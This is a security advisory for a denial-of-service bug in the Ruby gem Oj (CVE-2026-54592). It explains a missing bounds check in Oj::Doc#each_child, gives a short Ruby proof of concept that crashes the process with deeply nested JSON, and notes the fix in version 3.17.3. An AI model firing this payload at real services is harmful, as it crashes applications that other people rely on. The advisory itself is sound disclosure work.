PT-2026-51067 · Rubygems · Oj
Published
2026-06-19
·
Updated
2026-06-19
·
CVE-2026-54592
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
Oj::Doc#each child, when invoked recursively over a deeply nested JSON
document, overflows a fixed-size stack buffer and aborts the process. This is a
denial of service reachable from untrusted JSON.Details
Two-step chain in
ext/oj/fast.c:-
doc each child(~line 1501) incrementsdoc->wherepast thewhere path[MAX STACK = 100]array with no bounds check, and never restores it (doc->where--is missing). Callingeach childrecursively from inside the yield block therefore drivesdoc->wherebeyond the array. -
On the next entry (~line 1478) the function copies the path into a stack-local buffer:
c
Leaf save path[MAX STACK]; // 800-byte stack buffer
size t wlen = doc->where - doc->where path;
if (0 < wlen) {
memcpy(save path, doc->where path, sizeof(Leaf) * (wlen + 1));
}When the previous recursive call left
doc->where past where path[100],
wlen exceeds MAX STACK and the memcpy overflows save path on the C
stack.The
Oj::Doc parser imposes no JSON nesting-depth limit (it relies on a
C-stack pressure check), so deeply nested attacker input reaches this path.Proof of Concept
ruby
require 'oj'
depth = 200
payload = '[' * depth + '1' + ']' * depth
Oj::Doc.open(payload) do |doc|
r = lambda { doc.each child { | | r.call } }
r.call
endRecursion depth <= 99 iterates normally; depth >= 101 aborts. lldb backtrace
on the affected build (
ruby 3.3.8 / arm64-darwin24):SIGABRT
#2 abort
#3 stack chk fail
#4 doc each child (oj.bundle, fast.c)Impact
Reliable denial of service: any endpoint that calls
Oj::Doc.open(untrusted) { |d| d.each child ... } recursively can be crashed
with a small deeply-nested payload. On builds with a stack protector (the
default, -fstack-protector-strong) the canary aborts the process before the
saved return address is used. The Step-1 heap OOB writes into struct doc
fields do occur, but are masked in practice because the Step-2 stack overflow
crashes first; turning them into anything beyond a crash has not been
demonstrated.Patches
Fixed in 3.17.3:
doc each child now bounds-checks before incrementing
doc->where (raising Oj::DepthError) and restores doc->where after the
loop, matching the existing each leaf pattern. Verified on the fixed build:
depth >= 101 raises a clean Oj::DepthError instead of aborting.Credit
Reported by Zac Wang (@7a6163).
Fix
Out of bounds Read
Memory Corruption
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Oj